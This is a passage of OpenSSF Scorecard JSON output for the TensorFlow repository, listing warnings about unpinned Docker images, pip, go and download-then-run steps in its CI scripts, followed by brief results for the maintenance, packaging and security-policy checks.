tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: 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tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:70","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:76","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:82","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:85","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:90","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:93","Warn: pipCommand not pinned by hash: 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pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:62","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:65","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:75","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:79","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:82","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:84","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:86","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:89","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:93","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:98","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:100","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:102","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:108","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/linux/cmake/run.sh:44","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/linux/gpu/run_mkl.sh:34","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/linux/gpu/run_mkl.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/linux/mkl/install_openmpi_horovod.sh:101","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/linux/mkl/install_openmpi_horovod.sh:104","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/rel/ubuntu/cpu_arm64_test_build.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/release/common.sh:220","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security 